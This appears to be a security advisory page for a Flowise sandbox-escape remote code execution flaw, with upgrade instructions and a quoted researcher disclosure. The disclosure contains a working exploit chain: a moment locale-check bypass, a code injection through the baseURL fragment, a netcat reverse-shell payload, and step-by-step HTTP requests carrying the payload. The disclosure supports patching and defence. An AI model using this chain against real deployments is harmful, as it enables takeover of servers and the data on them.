CVE-2026-69253: Flowise Remote Code Execution Vulnerability

CRITICAL
Advisory Identifier: GHSA-wg86-r78f-74mp
CWE-95
Published
Advisory Summary

CVE-2026-69253 is a CRITICAL remote code execution vulnerability (CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')) affecting Flowise libraries in the npm ecosystem. The issue involves flowise sandbox escape to rce. Remediation is available by upgrading affected packages to version 3.1.3.

CVE-2026-69253 at a Glance

CVE Identifier CVE-2026-69253
GHSA Identifier GHSA-wg86-r78f-74mp
Severity CRITICAL
CVSS v3.1 Base Score N/A
CWE Classification CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')
Affected Product Flowise
Package Ecosystem npm
Published Date
Last Updated

How to Fix CVE-2026-69253

To remediate this vulnerability, upgrade all affected Flowise dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

flowise fixed: 3.1.3
npm install flowise@3.1.3
flowise-components fixed: 3.1.3
npm install flowise-components@3.1.3
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls flowise

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-69253, inspect your project dependencies using npm:

npm ls flowise

Analyze the terminal output to locate any version of Flowise in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 3.1.3), your application is affected.

Note: The npm ls flowise command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection'), where the product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes code syntax before using the input in a dynamic evaluation call (e.g. "eval"). In Flowise, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

============================================================================= Security Advisory elttam Topic: Flowise JavaScript Sandbox Escape Module: FlowiseAI/Flowise, FlowiseAI/nodevm Disclosed: 11-Apr-2026 Credits: Luke Jahnke and Alex Brown Affects: `FlowiseAI/Flowise 3.1.1`, `FlowiseAI/nodevm 3.9.25` # I. Background Flowise AI is an open-source, low-code platform for building AI applications—such as chatbots, workflows, and autonomous agents—through an intuitive drag-and-drop interface, minimising the need for extensive coding. The platform also enables execution of custom JavaScript within a sandboxed environment via the Custom Function Agent Flow node or Custom Tool. By default, this sandbox is powered by `patriksimek/vm2`, a fork of the `patriksimek/vm2` package. # II. Problem Description **NOTE**: This vulnerability still impacts commit `dddfb3c90eec900d747790a439bd362a764039cd` (the latest commit on the main branch at the time of writing). The original report was incorrectly closed, due to a misunderstanding that the report was about the use of an outdated and vulnerable version of the `patriksimek/vm2` sandbox. The sandbox escape that this report documents is an issue with Flowise, and patching the `vm2` sandbox would not resolve it. The `patriksimek/vm2` sandbox executes JavaScript within the same Node.js process, which introduces significant security limitations and makes safely isolating untrusted code inherently difficult. Due to these concerns, the maintainers had deprecated the project and previously issued the following warning: *https://github.com/n8n-io/vm2* > The library contains critical security issues and should not be used in production. Maintenance has been discontinued. Consider migrating to `isolated-vm`. To demonstrate the risks associated with the use of the `vm2` sandbox, a sandbox escape specific to Flowise was investigated. The code snippet below shows the allowed modules that could be used within custom JavaScript code on Flowise. https://github.com/FlowiseAI/Flowise/blob/flowise%403.1.1/packages/components/src/utils.ts#L124 ```ts const defaultAllowExternalDependencies = ['axios', 'moment', 'node-fetch'] <1> ``` <1> Allows custom JavaScript code to use the `axios`, `moment` and `node-fetch` dependencies. Notably, the `moment` dependency had a previously reported path traversal vulnerability (`CVE-2022-24785`) that could lead to RCE when user input is passed to the `locale` function. The patch for `CVE-2022-24785` was implementing regex check to disallow `/` or `\` characters within a locale name, as shown in the code snippet below. *Patch for `CVE-2022-24785` in `moment` (https://github.com/moment/moment/commit/4211bfc8f15746be4019bba557e29a7ba83d54c5)* ```js function isLocaleNameSane(name) { // Prevent names that look like filesystem paths, i.e contain '/' or '\' return name.match('^[^/\\\\]*$') != null; <1> } function loadLocale(name) { var oldLocale = null, aliasedRequire; // TODO: Find a better way to register and load all the locales in Node if ( locales[name] === undefined && typeof module !== 'undefined' && module && module.exports && isLocaleNameSane(name) <1> ) { try { oldLocale = globalLocale._abbr; aliasedRequire = require; aliasedRequire('./locale/' + name); <2> getSetGlobalLocale(oldLocale); } catch (e) { // mark as not found to avoid repeating expensive file require call causing high CPU // when trying to find en-US, en_US, en-us for every format call locales[name] = null; // null means not found } } return locales[name]; } ``` <1> Performs a regex check to disallow `/` or `\` characters within the provided locale name. <2> The vulnerable sink that introduced `CVE-2022-24785`. Flowise used `moment` version `v2.29.3`, which had the `CVE-2022-24785` patch applied. However, the patch is ineffective in preventing directory traversal in a sandbox context. The validation function uses the `match` function from the provided object, so an object with a `match` function that always returns `true` would bypass the validation check, as shown in the following proof-of-concept script. ```js fake = new String("../../../../../../../../../../../../../../../etc/passwd"); fake.match = function(regexp){return true;}; <1> require("moment").locale(fake); ``` <1> Bypasses the validation check for `CVE-2022-24785`. In commit `e765367fdc9761a7d9cf01a048cac15c78903b85` (https://github.com/FlowiseAI/Flowise/commit/e765367fdc9761a7d9cf01a048cac15c78903b85), the default sandbox was changed to the E2B sandbox, as shown in the code snippet below. https://github.com/FlowiseAI/Flowise/blob/e765367fdc9761a7d9cf01a048cac15c78903b85/packages/components/src/utils.ts ```ts export const executeJavaScriptCode = async ( code: string, sandbox: ICommonObject, options: { timeout?: number useSandbox?: boolean libraries?: string[] streamOutput?: (output: string) => void nodeVMOptions?: ICommonObject } = {} ): Promise<any> => { const { timeout = 300000, useSandbox = true, streamOutput, libraries = [], nodeVMOptions = {} } = options <1> if (useSandbox && !process.env.E2B_APIKEY) { <1> throw new Error( 'Sandboxed code execution requires E2B_APIKEY to be configured. ' + 'Set E2B_APIKEY in your environment or contact your administrator.' ) } let timeoutMs = timeout if (process.env.SANDBOX_TIMEOUT) { timeoutMs = parseInt(process.env.SANDBOX_TIMEOUT, 10) } ... ``` <1> The default was changed to use the E2B sandbox. However, there are several components within the application that still use the insecure `vm2` sandbox, as shown in the following `grep` output. ```terminal $ grep -r 'useSandbox: false' packages/components/nodes/tools/AgentAsTool/AgentAsTool.ts: useSandbox: false packages/components/nodes/tools/ChatflowTool/ChatflowTool.ts: useSandbox: false packages/components/nodes/sequentialagents/ExecuteFlow/ExecuteFlow.ts: useSandbox: false ``` The above files also contain an injection vulnerability into the sandboxed code, due to an improper URL validation check validating the `baseURL` input. The following code snippets demonstrate the injection vulnerability within `AgentAsTool.ts` and the broken `isValidURL` validation function. https://github.com/FlowiseAI/Flowise/blob/0c6924bb08a2156513b447d0e600651f29ea5aa8/packages/components/nodes/tools/AgentAsTool/AgentAsTool.ts ```ts class AgentAsTool_Tools implements INode { ... async init(nodeData: INodeData, input: string, options: ICommonObject): Promise<any> { ... const baseURL = (nodeData.inputs?.baseURL as string) || (options.baseURL as string) // Validate agentflowid is a valid UUID if (!selectedAgentflowId || !isValidUUID(selectedAgentflowId)) { throw new Error('Invalid agentflow ID: must be a valid UUID') } // Validate baseURL is a valid URL if (!baseURL || !isValidURL(baseURL)) { <1> throw new Error('Invalid base URL: must be a valid URL') } ... } } class AgentflowTool extends StructuredTool { ... // @ts-ignore protected async _call( arg: z.infer<typeof this.schema>, _?: CallbackManagerForToolRun, flowConfig?: { sessionId?: string; chatId?: string; input?: string } ): Promise<string> { ... const code = ` const fetch = require('node-fetch'); const url = "${this.baseURL}/api/v1/prediction/${this.agentflowid}"; <2> const body = $callBody; const options = $callOptions; try { const response = await fetch(url, options); const resp = await response.json(); return resp.text; } catch (error) { console.error(error); return ''; } ` ... let response = await executeJavaScriptCode(code, sandbox, { useSandbox: false <3> }) if (typeof response === 'object') { response = JSON.stringify(response) } return response } } ``` <1> Use of the broken `isValidURL` validation function, that is shown below. <2> Injection via the `baseURL` setting into the sandboxed code. <3> Uses the insecure `vm2` sandbox. https://github.com/FlowiseAI/Flowise/blob/aff06479aa9ec24847bd65ac786b46ac85ae7e03/packages/components/src/validator.ts ```ts /** * Validates if a string is a valid URL * @param {string} url The string to validate * @returns {boolean} True if valid URL, false otherwise */ export const isValidURL = (url: string): boolean => { try { new URL(url) <1> return true } catch { return false } } ``` <1> The JavaScript `URL` class does not validate characters in the URL hash fragment. An attacker could inject arbitrary code by inserting `#";\n{malicious_code};//` at the end of the `baseURL` setting, where the following `baseURL` demonstrates injecting the payload for the sandbox escape shown above to execute the code in the file `/tmp/evil.txt` outside the `vm2` sandbox. ```js "https://192.168.122.62:3000/#\";\nfake = new String(\"../../../../../../../../../../../../../../../../../tmp/evil.txt\");\nfake.match = function(regexp){return true;};\nrequire(\"moment\").locale(fake);//" ``` The following documents the procedure to remotely exploit the insecure `vm2` sandbox to achieve RCE on Flowise using the `AgentAsTool` node. **Note:** This procedure documents the method of exploitation on the Docker deployment. The exploitation methodology may be different on the cloud deployment. 1. Log into a Flowise instance and note the organisation ID in the response from `POST /api/v1/auth/login`, as shown below. ```http HTTP/1.1 200 OK Set-Cookie: token=<REDACTED> Set-Cookie: refreshToken=<REDACTED> Set-Cookie: connect.sid=<REDACTED> Content-Type: application/json; charset=utf-8 Content-Length: 671 ETag: W/"29f-jwu/0ZfIvz6r3EF/4QqMbLOMeho" Date: Sat, 11 Apr 2026 12:05:42 GMT Connection: keep-alive Keep-Alive: timeout=5 { "activeOrganizationCustomerId": null, "activeOrganizationId": "dbac2c65-6d98-48c2-b515-0b6cfb32f7e7", <1> "activeOrganizationProductId": "", "activeOrganizationSubscriptionId": null, "activeWorkspace": "Default Workspace", "activeWorkspaceId": "4b7e2414-a652-413d-b45e-b9edb8e63c1d", "assignedWorkspaces": [ { "id": "4b7e2414-a652-413d-b45e-b9edb8e63c1d", "name": "Default Workspace", "organizationId": "dbac2c65-6d98-48c2-b515-0b6cfb32f7e7", <1> "role": "owner" } ], "email": "admin@flowise.local", "features": {}, "id": "f8acb68d-afa5-41bd-8485-e39457433b71", "isOrganizationAdmin": true, "isSSO": false, "name": "Admin", "permissions": [ "organization", "workspace" ], "roleId": "3ff0de09-3993-125c-8798-7d14c45336df" } ``` <1> The organisation ID that is required for a later step. 2. Create a new document store and use the File Loader to upload a file containing JavaScript code that would be executed outside the `vm2` sandbox. The following script is a reverse shell payload that connects to `172.17.0.1:1337` that had a filename of `rce.js`. ```js process.mainModule.require('child_process').execSync('/usr/bin/nc 172.17.0.1 1337 -e /bin/sh') ``` 3. Using a proxy tool such as Burp Suite or the browser's debug network tab, observe the response from the `POST /api/v1/document-store/loader/process/{loader_id}` endpoint and retrieve the `storeId`, as demonstrated in the response below. ```http HTTP/1.1 200 OK Content-Type: application/json; charset=utf-8 Content-Length: 996 ETag: W/"3e4-k50+oeECDZnZeXCwR6mnTrXtxm0" Date: Sat, 11 Apr 2026 12:13:41 GMT Connection: keep-alive Keep-Alive: timeout=5 { "characters": 94, "chunks": [ { "chunkNo": 1, "docId": "72f80118-fede-4f20-9ec6-1577e64c9ceb", "id": "d6915ca3-4845-4f5b-a59c-3aa723aca8bd", "metadata": "{\"source\":\"blob\",\"blobType\":\"\"}", "pageContent": "process.mainModule.require('child_process').execSync('/usr/bin/nc 172.17.0.1 1337 -e /bin/sh')", "storeId": "dd6e5e1a-9c17-4a80-ad97-87302d9aa549" <1> } ], "count": 1, "currentPage": 1, "description": "", "docId": "72f80118-fede-4f20-9ec6-1577e64c9ceb", "file": { "files": [ { "id": "68a0a833-09c4-4df6-8b3e-1071f8edd462", "mimePrefix": "application/x-javascript", "name": "rce.js", "size": 94, "status": "NEW", "uploaded": "2026-04-11T12:13:41.235Z" } ], "id": "72f80118-fede-4f20-9ec6-1577e64c9ceb", "loaderConfig": { "file": "FILE-STORAGE::[\"rce.js\"]", "legacyBuild": "", "metadata": "", "omitMetadataKeys": "", "pointerName": "", "textSplitter": "", "usage": "perPage" }, "loaderId": "fileLoader", "loaderName": "RCE", "status": "SYNC", "totalChars": 94, "totalChunks": 1 }, "storeName": "RCE File Store", "workspaceId": "4b7e2414-a652-413d-b45e-b9edb8e63c1d" } ``` <1> The store ID that is required for a later step. 4. Navigate to the Agentflow tab and create a new empty Agent that would be attached to the `AgentAsTool` node. 5. Navigate to the Chatflow tab and create a new Chatflow and save it. Then add an Agent as Tool node using the previously created Agentflow, a Buffer Memory Node, an Open AI Chat Model node and connect them to a Tool Agent node, then save the changes, as shown in the attached screenshot. Using a tool such as Burp Suite, intercept the request to the `PUT /api/v1/chatflows/{chatflow_id}` and modify the `baseURL` input to `"https://192.168.122.62:3000/#\";\nfake = new String(\"../../../../../../../../../../../../../../../../..{home_folder}/.flowise/storage/{organisation_id}/docustore/{store_id}/{filename}\");\nfake.match = function(regexp){return true;};\nrequire(\"moment\").locale(fake);//"`, where the `{home_folder}` is `/home/node` if built locally using `https://github.com/FlowiseAI/Flowise/blob/main/Dockerfile` or `/root` if using a published Docker image from https://hub.docker.com/r/flowiseai/flowise. Replace the `{organisation_id}`, `{store_id}` and `{filename}` placeholders with the values from the previous steps. The following request demonstrates setting the sandbox escape payload to execute the uploaded payload that was located at `/home/node/.flowise/storage/dbac2c65-6d98-48c2-b515-0b6cfb32f7e7/docustore/dd6e5e1a-9c17-4a80-ad97-87302d9aa549/rce.js`. <img width="2229" height="1148" alt="sandbox-escape-tool-setup" src="https://github.com/user-attachments/assets/87850ecf-3d93-4939-b5d3-9d3d2c349894" /> ```http PUT /api/v1/chatflows/3145786c-a4c0-4989-8605-afff0c10b5be HTTP/1.1 Host: 192.168.122.62:3000 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:149.0) Gecko/20100101 Firefox/149.0 Accept: application/json, text/plain, */* Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Content-Type: application/json x-request-from: internal Content-Length: 17821 Origin: http://192.168.122.62:3000 Connection: keep-alive Referer: http://192.168.122.62:3000/canvas/3145786c-a4c0-4989-8605-afff0c10b5be Cookie: {cookies} {"name":"RCE SANDBOX ESCAPE CHAT FLOW","flowData":"{\"nodes\":[{\"data\":{\"baseClasses\":[\"AgentAsTool\",\"Tool\"],\"category\":\"Tools\",\"credential\":\"\",\"description\":\"Use as a tool to execute another agentflow\",\"filePath\":\"/usr/src/flowise/packages/server/node_modules/flowise-components/dist/nodes/tools/AgentAsTool/AgentAsTool.js\",\"icon\":\"/usr/src/flowise/packages/server/node_modules/flowise-components/dist/nodes/tools/AgentAsTool/agentastool.svg\",\"id\":\"agentAsTool_0\",\"inputAnchors\":[],\"inputParams\":[{\"credentialNames\":[\"agentflowApi\"],\"display\":true,\"id\":\"agentAsTool_0-input-credential-credential\",\"label\":\"Connect Credential\",\"name\":\"credential\",\"optional\":true,\"type\":\"credential\"},{\"display\":true,\"id\":\"agentAsTool_0-input-selectedAgentflow-asyncOptions\",\"label\":\"Select Agent\",\"loadMethod\":\"listAgentflows\",\"name\":\"selectedAgentflow\",\"type\":\"asyncOptions\"},{\"display\":true,\"id\":\"agentAsTool_0-input-name-string\",\"label\":\"Tool Name\",\"name\":\"name\",\"type\":\"string\"},{\"description\":\"Description of what the tool does. This is for LLM to determine when to use this tool.\",\"display\":true,\"id\":\"agentAsTool_0-input-description-string\",\"label\":\"Tool Description\",\"name\":\"description\",\"placeholder\":\"State of the Union QA - useful for when you need to ask questions about the most recent state of the union address.\",\"rows\":3,\"type\":\"string\"},{\"display\":true,\"id\":\"agentAsTool_0-input-returnDirect-boolean\",\"label\":\"Return Direct\",\"name\":\"returnDirect\",\"optional\":true,\"type\":\"boolean\"},{\"acceptVariable\":true,\"additionalParams\":true,\"description\":\"Override the config passed to the Agentflow.\",\"display\":true,\"id\":\"agentAsTool_0-input-overrideConfig-json\",\"label\":\"Override Config\",\"name\":\"overrideConfig\",\"optional\":true,\"type\":\"json\"},{\"additionalParams\":true,\"description\":\"Base URL to Flowise. By default, it is the URL of the incoming request. Useful when you need to execute the Agentflow through an alternative route.\",\"display\":true,\"id\":\"agentAsTool_0-input-baseURL-string\",\"label\":\"Base URL\",\"name\":\"baseURL\",\"optional\":true,\"placeholder\":\"http://localhost:3000\",\"type\":\"string\"},{\"additionalParams\":true,\"default\":false,\"description\":\"Whether to continue the session with the Agentflow tool or start a new one with each interaction. Useful for Agentflows with memory if you want to avoid it.\",\"display\":true,\"id\":\"agentAsTool_0-input-startNewSession-boolean\",\"label\":\"Start new session per message\",\"name\":\"startNewSession\",\"optional\":true,\"type\":\"boolean\"},{\"additionalParams\":true,\"description\":\"Whether to use the question from the chat as input to the agentflow. If turned on, this will override the custom input.\",\"display\":true,\"id\":\"agentAsTool_0-input-useQuestionFromChat-boolean\",\"label\":\"Use Question from Chat\",\"name\":\"useQuestionFromChat\",\"optional\":true,\"type\":\"boolean\"},{\"additionalParams\":true,\"description\":\"Custom input to be passed to the agentflow. Leave empty to let LLM decides the input.\",\"display\":false,\"id\":\"agentAsTool_0-input-customInput-string\",\"label\":\"Custom Input\",\"name\":\"customInput\",\"optional\":true,\"show\":{\"useQuestionFromChat\":false},\"type\":\"string\"}],\"inputs\":{\"baseURL\":\"https://192.168.122.62:3000/#\\\";\\nfake = new String(\\\"../../../../../../../../../../../../../../../../../home/node/.flowise/storage/dbac2c65-6d98-48c2-b515-0b6cfb32f7e7/docustore/dd6e5e1a-9c17-4a80-ad97-87302d9aa549/rce.js\\\");\\nfake.match = function(regexp){return true;};\\nrequire(\\\"moment\\\").locale(fake);//\",\"customInput\":\"\",\"description\":\"Sandbox escape code will be injected using the baseURL input\",\"name\":\"sandbox-escape\",\"overrideConfig\":\"\",\"returnDirect\":\"\",\"selectedAgentflow\":\"31ad9e45-2f8c-4a52-8fac-53c37a5f0ce6\",\"startNewSession\":\"\",\"useQuestionFromChat\":\"\"},\"label\":\"Agent as Tool\",\"loadMethods\":{},\"name\":\"agentAsTool\",\"outputAnchors\":[{\"description\":\"Use as a tool to execute another agentflow\",\"id\":\"agentAsTool_0-output-agentAsTool-AgentAsTool|Tool\",\"label\":\"AgentAsTool\",\"name\":\"agentAsTool\",\"type\":\"AgentAsTool | Tool\"}],\"outputs\":{},\"selected\":false,\"type\":\"AgentAsTool\",\"version\":1},\"dragging\":false,\"height\":803,\"id\":\"agentAsTool_0\",\"position\":{\"x\":474.3499595861873,\"y\":188.396206969314},\"positionAbsolute\":{\"x\":474.3499595861873,\"y\":188.396206969314},\"selected\":true,\"type\":\"customNode\",\"width\":300},{\"data\":{\"baseClasses\":[\"BufferMemory\",\"BaseChatMemory\",\"BaseMemory\"],\"category\":\"Memory\",\"description\":\"Retrieve chat messages stored in database\",\"filePath\":\"/usr/src/flowise/packages/server/node_modules/flowise-components/dist/nodes/memory/BufferMemory/BufferMemory.js\",\"icon\":\"/usr/src/flowise/packages/server/node_modules/flowise-components/dist/nodes/memory/BufferMemory/memory.svg\",\"id\":\"bufferMemory_0\",\"inputAnchors\":[],\"inputParams\":[{\"additionalParams\":true,\"default\":\"\",\"description\":\"If not specified, a random id will be used. Learn <a target=\\\"_blank\\\" href=\\\"https://docs.flowiseai.com/memory#ui-and-embedded-chat\\\">more</a>\",\"display\":true,\"id\":\"bufferMemory_0-input-sessionId-string\",\"label\":\"Session Id\",\"name\":\"sessionId\",\"optional\":true,\"type\":\"string\"},{\"additionalParams\":true,\"default\":\"chat_history\",\"display\":true,\"id\":\"bufferMemory_0-input-memoryKey-string\",\"label\":\"Memory Key\",\"name\":\"memoryKey\",\"type\":\"string\"}],\"inputs\":{\"memoryKey\":\"chat_history\",\"sessionId\":\"\"},\"label\":\"Buffer Memory\",\"name\":\"bufferMemory\",\"outputAnchors\":[{\"description\":\"Retrieve chat messages stored in database\",\"id\":\"bufferMemory_0-output-bufferMemory-BufferMemory|BaseChatMemory|BaseMemory\",\"label\":\"BufferMemory\",\"name\":\"bufferMemory\",\"type\":\"BufferMemory | BaseChatMemory | BaseMemory\"}],\"outputs\":{},\"selected\":false,\"type\":\"BufferMemory\",\"version\":2},\"dragging\":false,\"height\":259,\"id\":\"bufferMemory_0\",\"position\":{\"x\":471.8374151939384,\"y\":1024.5965766366546},\"positionAbsolute\":{\"x\":471.8374151939384,\"y\":1024.5965766366546},\"selected\":false,\"type\":\"customNode\",\"width\":300},{\"data\":{\"baseClasses\":[\"ChatOpenAI\",\"BaseChatOpenAI\",\"BaseChatModel\",\"BaseLanguageModel\",\"Runnable\"],\"category\":\"Chat Models\",\"credential\":\"5eabcf42-5547-4cda-8f31-1d0b9d70d508\",\"description\":\"Wrapper around OpenAI large language models that use the Chat endpoint\",\"filePath\":\"/usr/src/flowise/packages/server/node_modules/flowise-components/dist/nodes/chatmodels/ChatOpenAI/ChatOpenAI.js\",\"icon\":\"/usr/src/flowise/packages/server/node_modules/flowise-components/dist/nodes/chatmodels/ChatOpenAI/openai.svg\",\"id\":\"chatOpenAI_0\",\"inputAnchors\":[{\"display\":true,\"id\":\"chatOpenAI_0-input-cache-BaseCache\",\"label\":\"Cache\",\"name\":\"cache\",\"optional\":true,\"type\":\"BaseCache\"}],\"inputParams\":[{\"credentialNames\":[\"openAIApi\"],\"display\":true,\"id\":\"chatOpenAI_0-input-credential-credential\",\"label\":\"Connect Credential\",\"name\":\"credential\",\"type\":\"credential\"},{\"default\":\"gpt-4o-mini\",\"display\":true,\"id\":\"chatOpenAI_0-input-modelName-asyncOptions\",\"label\":\"Model Name\",\"loadMethod\":\"listModels\",\"name\":\"modelName\",\"type\":\"asyncOptions\"},{\"default\":0.9,\"display\":true,\"id\":\"chatOpenAI_0-input-temperature-number\",\"label\":\"Temperature\",\"name\":\"temperature\",\"optional\":true,\"step\":0.1,\"type\":\"number\"},{\"additionalParams\":true,\"default\":true,\"display\":true,\"id\":\"chatOpenAI_0-input-streaming-boolean\",\"label\":\"Streaming\",\"name\":\"streaming\",\"optional\":true,\"type\":\"boolean\"},{\"default\":false,\"description\":\"Allow image input. Refer to the <a href=\\\"https://docs.flowiseai.com/using-flowise/uploads#image\\\" target=\\\"_blank\\\">docs</a> for more details.\",\"display\":true,\"id\":\"chatOpenAI_0-input-allowImageUploads-boolean\",\"label\":\"Allow Image Uploads\",\"name\":\"allowImageUploads\",\"optional\":true,\"type\":\"boolean\"},{\"additionalParams\":true,\"default\":false,\"description\":\"Whether the model supports reasoning. Only applicable for reasoning models (gpt-5 and o-series models only)\",\"display\":true,\"id\":\"chatOpenAI_0-input-reasoning-boolean\",\"label\":\"Reasoning\",\"name\":\"reasoning\",\"optional\":true,\"type\":\"boolean\"},{\"additionalParams\":true,\"description\":\"Constrains effort on reasoning. Only applicable for reasoning models (gpt-5 and o-series models only)\",\"display\":false,\"id\":\"chatOpenAI_0-input-reasoningEffort-options\",\"label\":\"Reasoning Effort\",\"name\":\"reasoningEffort\",\"options\":[{\"label\":\"Low\",\"name\":\"low\"},{\"label\":\"Medium\",\"name\":\"medium\"},{\"label\":\"High\",\"name\":\"high\"},{\"description\":\"X-High is supported for all models after gpt-5.1-codex-max\",\"label\":\"X-High\",\"name\":\"xhigh\"}],\"show\":{\"reasoning\":true},\"type\":\"options\"},{\"additionalParams\":true,\"description\":\"A summary of the reasoning performed by the model. This can be useful for debugging and understanding the model's reasoning process\",\"display\":false,\"id\":\"chatOpenAI_0-input-reasoningSummary-options\",\"label\":\"Reasoning Summary\",\"name\":\"reasoningSummary\",\"options\":[{\"label\":\"Auto\",\"name\":\"auto\"},{\"label\":\"Concise\",\"name\":\"concise\"},{\"label\":\"Detailed\",\"name\":\"detailed\"}],\"show\":{\"reasoning\":true},\"type\":\"options\"},{\"additionalParams\":true,\"display\":true,\"id\":\"chatOpenAI_0-input-maxTokens-number\",\"label\":\"Max Tokens\",\"name\":\"maxTokens\",\"optional\":true,\"step\":1,\"type\":\"number\"},{\"additionalParams\":true,\"display\":true,\"id\":\"chatOpenAI_0-input-topP-number\",\"label\":\"Top Probability\",\"name\":\"topP\",\"optional\":true,\"step\":0.1,\"type\":\"number\"},{\"additionalParams\":true,\"display\":true,\"id\":\"chatOpenAI_0-input-frequencyPenalty-number\",\"label\":\"Frequency Penalty\",\"name\":\"frequencyPenalty\",\"optional\":true,\"step\":0.1,\"type\":\"number\"},{\"additionalParams\":true,\"display\":true,\"id\":\"chatOpenAI_0-input-presencePenalty-number\",\"label\":\"Presence Penalty\",\"name\":\"presencePenalty\",\"optional\":true,\"step\":0.1,\"type\":\"number\"},{\"additionalParams\":true,\"display\":true,\"id\":\"chatOpenAI_0-input-timeout-number\",\"label\":\"Timeout\",\"name\":\"timeout\",\"optional\":true,\"step\":1,\"type\":\"number\"},{\"additionalParams\":true,\"description\":\"Whether the model supports the `strict` argument when passing in tools. If not specified, the `strict` argument will not be passed to OpenAI.\",\"display\":true,\"id\":\"chatOpenAI_0-input-strictToolCalling-boolean\",\"label\":\"Strict Tool Calling\",\"name\":\"strictToolCalling\",\"optional\":true,\"type\":\"boolean\"},{\"additionalParams\":true,\"description\":\"List of stop words to use when generating. Use comma to separate multiple stop words.\",\"display\":true,\"id\":\"chatOpenAI_0-input-stopSequence-string\",\"label\":\"Stop Sequence\",\"name\":\"stopSequence\",\"optional\":true,\"rows\":4,\"type\":\"string\"},{\"additionalParams\":true,\"description\":\"Override the default base URL for the API, e.g., \\\"https://api.example.com/v2/\",\"display\":true,\"id\":\"chatOpenAI_0-input-basepath-string\",\"label\":\"Base Path\",\"name\":\"basepath\",\"optional\":true,\"type\":\"string\"},{\"additionalParams\":true,\"description\":\"Default headers to include with every request to the API.\",\"display\":true,\"id\":\"chatOpenAI_0-input-baseOptions-json\",\"label\":\"Base Options\",\"name\":\"baseOptions\",\"optional\":true,\"type\":\"json\"}],\"inputs\":{\"allowImageUploads\":\"\",\"baseOptions\":\"\",\"basepath\":\"\",\"cache\":\"\",\"frequencyPenalty\":\"\",\"maxTokens\":\"\",\"modelName\":\"gpt-4o-mini\",\"presencePenalty\":\"\",\"reasoning\":\"\",\"reasoningEffort\":\"\",\"reasoningSummary\":\"\",\"stopSequence\":\"\",\"streaming\":true,\"strictToolCalling\":\"\",\"temperature\":0.9,\"timeout\":\"\",\"topP\":\"\"},\"label\":\"OpenAI\",\"loadMethods\":{},\"name\":\"chatOpenAI\",\"outputAnchors\":[{\"description\":\"Wrapper around OpenAI large language models that use the Chat endpoint\",\"id\":\"chatOpenAI_0-output-chatOpenAI-ChatOpenAI|BaseChatOpenAI|BaseChatModel|BaseLanguageModel|Runnable\",\"label\":\"ChatOpenAI\",\"name\":\"chatOpenAI\",\"type\":\"ChatOpenAI | BaseChatOpenAI | BaseChatModel | BaseLanguageModel | Runnable\"}],\"outputs\":{},\"selected\":false,\"type\":\"ChatOpenAI\",\"version\":8.3},\"dragging\":false,\"height\":676,\"id\":\"chatOpenAI_0\",\"position\":{\"x\":150.47864305480687,\"y\":603.5006568904221},\"positionAbsolute\":{\"x\":150.47864305480687,\"y\":603.5006568904221},\"selected\":false,\"type\":\"customNode\",\"width\":300},{\"data\":{\"baseClasses\":[\"AgentExecutor\",\"BaseChain\",\"Runnable\"],\"category\":\"Agents\",\"description\":\"Agent that uses Function Calling to pick the tools and args to call\",\"filePath\":\"/usr/src/flowise/packages/server/node_modules/flowise-components/dist/nodes/agents/ToolAgent/ToolAgent.js\",\"icon\":\"/usr/src/flowise/packages/server/node_modules/flowise-components/dist/nodes/agents/ToolAgent/toolAgent.png\",\"id\":\"toolAgent_0\",\"inputAnchors\":[{\"display\":true,\"id\":\"toolAgent_0-input-tools-Tool\",\"label\":\"Tools\",\"list\":true,\"name\":\"tools\",\"type\":\"Tool\"},{\"display\":true,\"id\":\"toolAgent_0-input-memory-BaseChatMemory\",\"label\":\"Memory\",\"name\":\"memory\",\"type\":\"BaseChatMemory\"},{\"description\":\"Only compatible with models that are capable of function calling: ChatOpenAI, ChatMistral, ChatAnthropic, ChatGoogleGenerativeAI, ChatVertexAI, GroqChat\",\"display\":true,\"id\":\"toolAgent_0-input-model-BaseChatModel\",\"label\":\"Tool Calling Chat Model\",\"name\":\"model\",\"type\":\"BaseChatModel\"},{\"description\":\"Override existing prompt with Chat Prompt Template. Human Message must includes {input} variable\",\"display\":true,\"id\":\"toolAgent_0-input-chatPromptTemplate-ChatPromptTemplate\",\"label\":\"Chat Prompt Template\",\"name\":\"chatPromptTemplate\",\"optional\":true,\"type\":\"ChatPromptTemplate\"},{\"description\":\"Detect text that could generate harmful output and prevent it from being sent to the language model\",\"display\":true,\"id\":\"toolAgent_0-input-inputModeration-Moderation\",\"label\":\"Input Moderation\",\"list\":true,\"name\":\"inputModeration\",\"optional\":true,\"type\":\"Moderation\"}],\"inputParams\":[{\"additionalParams\":true,\"default\":\"You are a helpful AI assistant.\",\"description\":\"If Chat Prompt Template is provided, this will be ignored\",\"display\":true,\"id\":\"toolAgent_0-input-systemMessage-string\",\"label\":\"System Message\",\"name\":\"systemMessage\",\"optional\":true,\"rows\":4,\"type\":\"string\"},{\"additionalParams\":true,\"display\":true,\"id\":\"toolAgent_0-input-maxIterations-number\",\"label\":\"Max Iterations\",\"name\":\"maxIterations\",\"optional\":true,\"type\":\"number\"},{\"additionalParams\":true,\"default\":false,\"description\":\"Stream detailed intermediate steps during agent execution\",\"display\":true,\"id\":\"toolAgent_0-input-enableDetailedStreaming-boolean\",\"label\":\"Enable Detailed Streaming\",\"name\":\"enableDetailedStreaming\",\"optional\":true,\"type\":\"boolean\"}],\"inputs\":{\"chatPromptTemplate\":\"\",\"enableDetailedStreaming\":\"\",\"inputModeration\":\"\",\"maxIterations\":\"\",\"memory\":\"{{bufferMemory_0.data.instance}}\",\"model\":\"{{chatOpenAI_0.data.instance}}\",\"systemMessage\":\"You are a helpful AI 